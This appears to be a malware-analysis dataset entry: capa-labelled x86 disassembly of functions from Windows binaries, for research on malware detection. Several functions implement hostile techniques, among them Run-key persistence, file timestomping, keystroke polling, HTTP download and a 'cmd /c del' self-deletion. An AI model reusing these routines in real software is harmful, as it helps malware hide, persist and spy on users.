joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4073d6
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a0
lea eax, [ebp - 0x1a0]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
call fcn.004055f2
test eax, eax
je 0x40744b
call fcn.00406df1
cmp byte [0x4100d4], 0
je 0x407414
push 0x4100d4
call fcn.00405b03
test eax, eax
pop ecx
jne 0x40744b
cmp dword [0x4938f8], 0
je 0x40743d
and dword [ebp - 8], 0
and dword [ebp - 4], 0
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0x4933dc
push eax
mov dword [ebp - 0xc], 0x4073b7
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
call fcn.00404c3d
test eax, eax
je 0x40744b
call fcn.004072e6
xor eax, eax
leave
ret 0x10

Function at 0x40ad05
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x412ce8
cmp edx, dword [eax]
je 0x40ad27
add eax, 8
inc ecx
cmp eax, 0x412d78
jl 0x40ad18
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x412ce8]
jne 0x40ae55
mov eax, dword [0x493928]
cmp eax, 1
je 0x40ae2f
test eax, eax
jne 0x40ad58
cmp dword [0x412914], 1
je 0x40ae2f
cmp edx, 0xfc
je 0x40ae55
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40ad8f
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00407740
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00407830
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x40add2
lea eax, [ebp - 0x1a4]
push eax
call fcn.00407830
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x40d5b8
push edi
call fcn.0040afb0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00407740
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00407750
lea eax, [ebp - 0xa0]
push 0x40d598
push eax
call fcn.00407750
push dword [esi + 0x412cec]
lea eax, [ebp - 0xa0]
push eax
call fcn.00407750
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0040c088
add esp, 0x2c
pop edi
jmp 0x40ae55
lea eax, [ebp + 8]
lea esi, [esi + 0x412cec]
push 0
push eax
push dword [esi]
call fcn.00407830
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x401000
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x420004]
jne 0x40100a
repz ret
jmp fcn.004016f4

Function at 0x405698
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040305b
and dword [ebp - 4], 0
cmp dword [0x421cd8], 0
mov ebx, eax
jne 0x405749
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4057fa
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4057fa
push eax
call fcn.00402fe9
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x421cd8], eax
call esi
push eax
call fcn.00402fe9
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x421cdc], eax
call esi
push eax
call fcn.00402fe9
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x421ce0], eax
call esi
push eax
call fcn.00402fe9
pop ecx
mov dword [0x421ce8], eax
test eax, eax
je 0x405749
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00402fe9
pop ecx
mov dword [0x421ce4], eax
mov eax, dword [0x421ce4]
cmp eax, ebx
je 0x4057a1
cmp dword [0x421ce8], ebx
je 0x4057a1
push eax
call fcn.00403064
push dword [0x421ce8]
mov esi, eax
call fcn.00403064
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4057a1
test edi, edi
je 0x4057a1
call esi
test eax, eax
je 0x405798
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x405798
test byte [ebp - 0xc], 1
jne 0x4057a1
or dword [ebp + 0x10], 0x200000
jmp 0x4057da
mov eax, dword [0x421cdc]
cmp eax, ebx
je 0x4057da
push eax
call fcn.00403064
pop ecx
test eax, eax
je 0x4057da
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4057da
mov eax, dword [0x421ce0]
cmp eax, ebx
je 0x4057da
push eax
call fcn.00403064
pop ecx
test eax, eax
je 0x4057da
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x421cd8]
call fcn.00403064
pop ecx
test eax, eax
je 0x4057fa
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4057fc
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x41bb20
Capabilities:
Get hostname

Disassembly:
sub esp, 0x42c
mov eax, dword [0x420004]
xor eax, esp
mov dword [esp + 0x428], eax
cmp edi, 0x182
jne 0x41bb4e
lea eax, [esp + 0xc]
push eax
push str.tuzudinuyodawiz_xivizevobikotuletife
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
jmp 0x41bb82
cmp edi, 0x19f
jne 0x41bb82
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNumaNodeProcessorMask]
push str.wofoyamev_wexededukocoh
push str.vazew_xajinoguwumofeforupatetonaxoc_vasufadogenanajeyu_wiwarerimefozenodav
push str.besudufawocugiforacir_nawiyay_yirideculaxabafulewasu_seyihet_zazadubavoxuyucawitiwituzunacare
push str.bemoxaxoyuguxejoxipavav_damilagorifoki_meyogupusosojezogayihasawuzerebu_moyeta
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
push 0
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
push esi
xor esi, esi
test edi, edi
jle 0x41bbf2
lea esp, [esp]
lea ecx, [esp + 8]
mov dword [esp + 4], 5
mov dword [esp + 8], 0
call fcn.0041bb10
mov eax, dword [esp + 8]
add eax, 0x46
mov dword [esp + 4], eax
sub dword [esp + 4], 0x46
mov cl, byte [esp + 4]
xor byte [ebx + esi], cl
cmp edi, 0xf
jne 0x41bbed
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNumaNodeProcessorMask]
lea edx, [esp + 0xc]
push edx
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoW]
inc esi
cmp esi, edi
jl 0x41bb90
pop esi
cmp edi, 0x2d
jne 0x41bc0c
mov dword [0x4fa500], 0xa62e7790
mov dword [0x4fa504], 0xffffffff
mov ecx, dword [esp + 0x428]
xor ecx, esp
call fcn.00401000
add esp, 0x42c
ret
Function at 0x4075de
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x461944], 0
jne 0x407619
xor ecx, ecx
push esi
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x4075f2
mov dword [ecx*4 + 0x461940], eax
inc ecx
cmp ecx, 0x100
jl 0x4075ed
pop esi
cmp dword [ebp + 0x10], 0
mov eax, dword [ebp + 8]
not eax
jbe 0x407646
mov ecx, dword [ebp + 0xc]
movzx edx, byte [ecx]
dec dword [ebp + 0x10]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x461940]
inc ecx
cmp dword [ebp + 0x10], 0
ja 0x407627
not eax
pop ebp
ret 0xc
Function at 0x403a1f
Capabilities:
Get common file path
Query environment variable

Disassembly:
push ebx
push ecx
push ebp
push esi
push edi
mov esi, esp
sub esp, 0x20
mov eax, esp
mov edx, eax
add edx, 0x20
mov dword [eax], 0
add eax, 4
cmp eax, edx
jne 0x403a30
mov edx, dword [esi + 0x18]
lea ecx, [esp]
call fcn.00406a19
push dword [0x40d334]
mov eax, dword [0x410344]
call fcn.004121d0
lea ecx, [esp + 8]
pop edx
call fcn.004069ac
push dword [0x40d334]
mov eax, dword [0x410348]
call fcn.004121d0
lea ecx, [esp + 0xc]
pop edx
call fcn.004069ac
mov edx, dword [esp + 4]
xor ecx, ecx
call fcn.00406a78
jne 0x403c33
push dword [esp + 4]
mov edx, dword [0x410404]
pop ecx
call fcn.00406a78
jne 0x403c31
push dword [esp + 8]
call fcn.00409500
push dword [esp]
call fcn.00409500
fcompp
fnstsw ax
test ah, 0x41
je 0x403c12
push 0x3e7
call fcn.00403784
push dword [0x40d334]
mov eax, 0xff
call fcn.004068bb
lea ecx, [esp + 0x10]
pop edx
call fcn.004069ac
push 0xff
push dword [esp + 0x10]
push str.comspec
call sub.KERNEL32.DLL_GetEnvironmentVariableA
push dword [0x40d334]
mov eax, 0xff
call fcn.004068bb
lea ecx, [esp + 0x14]
pop edx
call fcn.004069ac
push dword [esp + 0x10]
push 0xff
call sub.KERNEL32.DLL_GetCurrentDirectoryA
push dword [0x40d334]
push 1
mov eax, dword [esp + 0x18]
call fcn.004066d5
inc dword [0x40d334]
mov edx, 0x40d010
pop ecx
mov dword [0x40d334], ecx
call fcn.00406a78
jne 0x403b70
mov edx, dword [esp + 0x10]
push dword [0x40d334]
call fcn.00406a58
mov edx, 0x40d010
call fcn.00406a58
lea ecx, [esp + 0x14]
pop edx
call fcn.004069ac
push dword [0x40d334]
mov eax, 0xff
call fcn.004068bb
lea ecx, [esp + 0x18]
pop edx
call fcn.004069ac
push 0xff
push dword [esp + 0x18]
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
push dword [0x40d334]
push dword [esp + 0x18]
call fcn.004096b0
lea ecx, [esp + 0x1c]
pop edx
call fcn.004069ac
push dword [0x40d334]
push 2
push 0x40d189
push dword [0x40d334]
mov edx, str._c_del__
call fcn.00406a58
mov edx, dword [esp + 0x20]
call fcn.00406a58
mov edx, dword [esp + 0x28]
call fcn.00406a58
mov edx, 0x40d048
call fcn.00406a58
inc dword [0x40d334]
push dword [esp + 0x1c]
call fcn.00409730
pop dword [0x40d334]
mov dword [esp + 0x1c], eax
jmp 0x4060c5
push dword [0x410404]
mov eax, dword [0x410344]
call fcn.00412200
push dword [esp]
mov eax, dword [0x410348]
call fcn.00412200
jmp 0x403c31
jmp 0x403c50
push dword [0x410404]
mov eax, dword [0x410344]
call fcn.00412200
push dword [esp]
mov eax, dword [0x410348]
call fcn.00412200
xor eax, eax
mov edx, dword [esp + 0xc]
call fcn.00406aac
mov edx, dword [esp + 0x10]
call fcn.00406aac
mov edx, dword [esp + 4]
call fcn.00406aac
mov edx, dword [esp + 8]
call fcn.00406aac
mov edx, dword [esp + 0x18]
call fcn.00406aac
mov edx, dword [esp + 0x14]
call fcn.00406aac
mov edx, dword [esp]
call fcn.00406aac
add esp, 0x20
pop edi
pop esi
pop ebp
pop ecx
pop ebx
ret 4
Function at 0x4045f4
Capabilities:
Timestomp file

Disassembly:
push ebx
push ecx
push ebp
push esi
push edi
push dword [esp + 0x20]
pop dword [0x40d334]
mov esi, esp
sub esp, 0x3c
mov eax, esp
mov edx, eax
add edx, 0x3c
mov dword [eax], 0
add eax, 4
cmp eax, edx
jne 0x40460f
mov edx, dword [esi + 0x18]
lea ecx, [esp]
call fcn.00406a19
mov edx, dword [esi + 0x1c]
lea ecx, [esp + 4]
call fcn.00406a19
lea eax, [esp + 8]
lea eax, [esp + 0x10]
lea eax, [esp + 0x18]
lea eax, [esp + 0x20]
push dword [esp]
push 0
call fcn.0040bc5a
mov dword [esp + 0x30], eax
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x10]
push eax
push dword [esp + 0x3c]
call sub.KERNEL32.DLL_GetFileTime
push 0
push 0
push 3
push 0
push 3
push 0x40000000
push dword [esp + 0x1c]
call sub.KERNEL32.DLL_CreateFileA
mov dword [esp + 0x34], eax
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x10]
push eax
push dword [esp + 0x40]
call sub.KERNEL32.DLL_SetFileTime
push dword [esp + 0x34]
call sub.KERNEL32.DLL_CloseHandle
push 0
call fcn.0040bac9
mov edx, dword [esp + 0x38]
push dword [0x40d334]
call fcn.00406a58
pop eax
jmp 0x4046dc
mov edx, dword [esp]
call fcn.00406aac
mov edx, dword [esp + 4]
call fcn.00406aac
mov edx, dword [esp + 0x38]
call fcn.00406aac
add esp, 0x3c
pop edi
pop esi
pop ebp
pop ecx
pop ebx
ret 8

Function at 0x404706
Capabilities:
Set registry value

Disassembly:
push ebx
push ecx
push ebp
push esi
push edi
mov esi, esp
sub esp, 0x1c
mov eax, esp
mov edx, eax
add edx, 0x1c
mov dword [eax], 0
add eax, 4
cmp eax, edx
jne 0x404717
mov eax, dword [esi + 0x18]
mov dword [esp], eax
mov edx, dword [esi + 0x1c]
lea ecx, [esp + 4]
call fcn.00406a19
mov edx, dword [esi + 0x20]
lea ecx, [esp + 8]
call fcn.00406a19
mov edx, dword [esi + 0x24]
lea ecx, [esp + 0xc]
call fcn.00406a19
mov dword [esp + 0x10], 0xffffffff
lea eax, [esp + 0x14]
push eax
push dword [esp + 8]
push dword [esp + 8]
call sub.ADVAPI32.dll_RegCreateKeyA
mov ebx, eax
cmp ebx, 0
jne 0x4047b4
mov eax, dword [esp + 0xc]
call fcn.00406667
mov dword [esp + 0x18], eax
push dword [esp + 0x18]
mov eax, dword [esp + 0x10]
push eax
push 1
push 0
push dword [esp + 0x18]
push dword [esp + 0x28]
call sub.ADVAPI32.dll_RegSetValueExA
mov ebx, eax
cmp ebx, 0
jne 0x4047ab
mov dword [esp + 0x10], 1
push dword [esp + 0x14]
call sub.ADVAPI32.dll_RegCloseKey
mov eax, dword [esp + 0x10]
jmp 0x4047bc
mov edx, dword [esp + 8]
call fcn.00406aac
mov edx, dword [esp + 4]
call fcn.00406aac
mov edx, dword [esp + 0xc]
call fcn.00406aac
add esp, 0x1c
pop edi
pop esi
pop ebp
pop ecx
pop ebx
ret 0x10
Function at 0x4047e7
Capabilities:
Persist via run registry key

Disassembly:
push ebx
push ecx
push ebp
push esi
push edi
mov esi, esp
sub esp, 0x10
mov eax, esp
mov edx, eax
add edx, 0x10
mov dword [eax], 0
add eax, 4
cmp eax, edx
jne 0x4047f8
push dword [0x40d334]
mov eax, 0x3e8
call fcn.004068bb
lea ecx, [esp + 4]
pop edx
call fcn.004069ac
push 0x3e8
mov eax, dword [esp + 4]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
push dword [0x40d334]
push dword [esp + 4]
call fcn.00409610
lea ecx, [0x4103d8]
pop edx
call fcn.004069ac
mov edx, dword [esp]
lea ecx, [esp + 4]
call fcn.004069f8
push dword [0x40d334]
push dword [esp + 8]
call fcn.004096b0
lea ecx, [esp + 0xc]
pop edx
call fcn.004069ac
push dword [0x40d334]
push 1
push 0x40d04c
mov eax, dword [esp + 0x14]
call fcn.0040653e
mov ebx, eax
dec ebx
push ebx
mov eax, dword [esp + 0x10]
call fcn.0040662a
lea ecx, [esp + 0x10]
pop edx
call fcn.004069ac
push dword [esp + 4]
push dword [esp + 0x10]
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call fcn.00404706
xor eax, eax
mov edx, dword [esp + 4]
call fcn.00406aac
mov edx, dword [esp + 0xc]
call fcn.00406aac
mov edx, dword [esp + 8]
call fcn.00406aac
mov edx, dword [esp]
call fcn.00406aac
add esp, 0x10
pop edi
pop esi
pop ebp
pop ecx
pop ebx
ret
Function at 0x406c60
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebx
push ecx
push ebp
push esi
push edi
push dword [esp + 0x20]
pop dword [0x40d334]
mov esi, esp
sub esp, 0x24
mov eax, esp
mov edx, eax
add edx, 0x24
mov dword [eax], 0
add eax, 4
cmp eax, edx
jne 0x406c7b
mov edx, dword [esi + 0x18]
lea ecx, [esp]
call fcn.00406a19
mov eax, dword [esi + 0x1c]
mov byte [esp + 4], al
mov byte [esp + 5], 1
mov dword [esp + 6], 0x80000000
mov dword [esp + 0xa], 0
mov dword [esp + 0xe], 0
mov dword [esp + 0x12], 0
push dword [0x40d334]
mov eax, 0x800
call fcn.004068bb
lea ecx, [esp + 0x1a]
pop edx
call fcn.004069ac
mov edx, 0x40d340
lea ecx, [esp + 0x1a]
call fcn.004069f8
push 0
push 0
push 0
movsx eax, byte [esp + 0x10]
push eax
push str.Opera_6.01
call sub.WININET.dll_InternetOpenA
mov dword [esp + 0xa], eax
push 0
push dword [esp + 0xa]
push 0
push 0
push dword [esp + 0x10]
push dword [esp + 0x1e]
call sub.WININET.dll_InternetOpenUrlA
mov dword [esp + 0xe], eax
mov eax, 1
call fcn.004121c0
lea eax, [esp + 0x12]
push eax
mov eax, dword [esp + 0x1a]
call fcn.00406667
push eax
mov eax, dword [esp + 0x1e]
push eax
push dword [esp + 0x1a]
call sub.WININET.dll_InternetReadFile
mov ebx, dword [esp + 0x12]
cmp ebx, 0
jne 0x406d65
mov byte [esp + 5], 0
jmp 0x406d92
mov edx, dword [esp + 0x1a]
push dword [0x40d334]
call fcn.00406a58
push dword [0x40d334]
push dword [esp + 0x1a]
mov eax, dword [esp + 0x22]
call fcn.0040662a
pop eax
lea ecx, [esp + 0x1e]
pop edx
call fcn.004069ac
mov ebx, dword [esp + 0x1e]
add ebx, dword [esp + 0x12]
mov dword [esp + 0x1e], ebx
movsx ebx, byte [esp + 5]
cmp ebx, 0
jne 0x406d2e
push dword [esp + 0xe]
call sub.WININET.dll_InternetCloseHandle
push dword [esp + 0xa]
call sub.WININET.dll_InternetCloseHandle
mov edx, dword [esp + 0x1a]
push dword [0x40d334]
call fcn.00406a58
pop eax
jmp 0x406dd4
mov edx, dword [esp + 0x16]
call fcn.00406aac
mov edx, dword [esp + 0x1a]
call fcn.00406aac
mov edx, dword [esp]
call fcn.00406aac
add esp, 0x24
pop edi
pop esi
pop ebp
pop ecx
pop ebx
ret 8

Function at 0x406e00
Capabilities:
Get common file path

Disassembly:
push ebx
push ecx
push ebp
push esi
push edi
push dword [esp + 0x18]
pop dword [0x40d334]
mov esi, esp
sub esp, 4
mov eax, esp
mov edx, eax
add edx, 4
mov dword [eax], 0
add eax, 4
cmp eax, edx
jne 0x406e1b
push dword [0x40d334]
mov eax, 0x1f4
call fcn.004068bb
lea ecx, [esp + 4]
pop edx
call fcn.004069ac
mov eax, dword [esp]
push eax
push 0x226
call sub.KERNEL32.DLL_GetCurrentDirectoryA
mov edx, dword [esp]
push dword [0x40d334]
call fcn.00406a58
pop eax
jmp 0x406e69
mov edx, dword [esp]
call fcn.00406aac
add esp, 4
pop edi
pop esi
pop ebp
pop ecx
pop ebx
ret
Function at 0x40735e
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
cmp dword [ebp + 8], 0
je 0x407378
push dword [ebp + 8]
push 0x4072f0
call sub.USER32.dll_EnumWindows
jmp 0x4073af
mov edi, dword [0x40d480]
jmp 0x4073ab
mov esi, dword [edi]
call sub.KERNEL32.DLL_GetCurrentThreadId
cmp dword [edi + 8], eax
jne 0x4073a9
push 1
push dword [edi + 0xc]
call sub.USER32.dll_EnableWindow
mov eax, edi
add eax, 8
push eax
push 0x40d480
call fcn.0040bf30
add esp, 8
mov edi, esi
or edi, edi
jne 0x407380
pop edi
pop esi
pop ebp
ret 4

Function at 0x409730
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x244
push ebx
push esi
push edi
mov esi, dword [ebp + 8]
xor ebx, ebx
or esi, esi
je 0x409808
mov dword [ebp - 0x40], esi
push esi
call sub.CRTDLL.dll_strlen
pop ecx
lea edi, [eax + esi - 1]
jmp 0x40975a
dec edi
cmp edi, esi
jbe 0x409763
cmp byte [edi], 0x5c
jne 0x409759
cmp edi, esi
jbe 0x409799
mov byte [edi], 0
push esi
lea eax, [ebp - 0x240]
push eax
call sub.CRTDLL.dll_strcpy
push 0x40f3c6
lea eax, [ebp - 0x240]
push eax
call sub.CRTDLL.dll_strcat
add esp, 0x10
lea eax, [ebp - 0x240]
mov dword [ebp - 0x40], eax
mov byte [edi], 0x5c
jmp 0x40979d
and dword [ebp - 0x40], 0
mov eax, dword [ebp + 0x10]
or eax, eax
je 0x4097ac
cmp byte [eax], 0
je 0x4097ac
mov dword [ebp - 0x40], eax
xor edi, edi
inc edi
test byte [ebp + 0x14], 2
je 0x4097b7
xor edi, edi
mov dword [ebp - 0x3c], 0x3c
mov dword [ebp - 0x38], 0x40
mov dword [ebp - 0x20], edi
lea eax, str.Open
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x2c], esi
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x3c]
push eax
call sub.SHELL32.DLL_ShellExecuteExA
mov ebx, eax
or eax, eax
je 0x409808
cmp dword [ebp - 4], 0
je 0x409808
test byte [ebp + 0x14], 1
je 0x409805
push 0xffffffffffffffff
push dword [ebp - 4]
call sub.KERNEL32.DLL_WaitForSingleObject
mov ebx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x40ab70
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov esi, dword [ebp + 8]
push 9
call sub.USER32.dll_GetKeyState
mov ebx, eax
movsx ebx, bx
test bl, 0x80
je 0x40abea
push 0x11
call sub.USER32.dll_GetKeyState
mov ebx, eax
movsx ebx, bx
test bl, 0x80
jne 0x40abea
push 0x10
call sub.USER32.dll_GetKeyState
mov ebx, eax
movsx ebx, bx
test bl, 0x80
jne 0x40abea
push 0x12
call sub.USER32.dll_GetKeyState
mov ebx, eax
movsx ebx, bx
test bl, 0x80
jne 0x40abea
call sub.USER32.dll_GetFocus
push 5
lea ebx, [ebp - 5]
push ebx
push eax
call sub.USER32.dll_GetClassNameA
push 4
push str.Rich
lea eax, [ebp - 5]
push eax
call sub.CRTDLL.dll_strncmp
add esp, 0xc
or eax, eax
jne 0x40abea
jmp 0x40ac30
mov edi, dword [0x410d98]
jmp 0x40abfe
cmp dword [edi + 8], esi
jne 0x40abfc
mov eax, dword [edi + 0x14]
jmp 0x40ac30
mov edi, dword [edi]
or edi, edi
jne 0x40abf2
jmp 0x40ac26
mov ebx, edi
shl ebx, 4
mov edx, dword [0x410d54]
cmp dword [edx + ebx], esi
jne 0x40ac25
mov ebx, edi
shl ebx, 4
mov edx, dword [0x410d54]
mov eax, dword [ebx + edx + 0xc]
jmp 0x40ac30
inc edi
cmp edi, dword [0x410d50]
jl 0x40ac04
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x403670
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x479020]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403708
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x4036e8
xor eax, eax
push ebp
push 0x4036e1
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403724
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4036e8
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
movzx eax, word [0x479020]
and ax, 0xffc0
movzx edx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x479020], ax
mov esp, ebp
pop ebp
ret

Function at 0x404514
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x47c048], 0
je 0x404575
cmp word [0x47c21c], 0xd7b2
jne 0x40453d
cmp dword [0x47c224], 0
jbe 0x40453d
mov eax, 0x47c218
call dword [0x47c234]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40459c
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x47902c], 0
jne 0x404591
push 0
push str.Error
push str.Runtime_error_____at_00000000
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x405c68
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x405e98
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x405ceb
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x405e98
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x405ceb
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x405eb4
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x405d74
xor eax, eax
push ebp
push 0x405d6d
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x11d]
mov edx, 0x105
call fcn.00405aa4
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x405d52
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x405ed4
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x405d52
mov byte [ebp - 0x12], 0
mov byte [ebp - 0xe], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405d74
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
push 0x105
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrcpynA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.kernel32.dll_GetThreadLocale
push eax
call sub.kernel32.dll_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x405e8e
cmp byte [ebp - 0xd], 0
jne 0x405dbb
cmp byte [ebp - 0x12], 0
je 0x405e8e
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x405dd4
dec ebx
cmp byte [ebx], 0x2e
je 0x405de3
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x405dd3
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x405e8e
inc ebx
cmp byte [ebp - 0x12], 0
je 0x405e20
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x405e8e
cmp byte [ebp - 0xd], 0
je 0x405e8e
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x405e8e
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret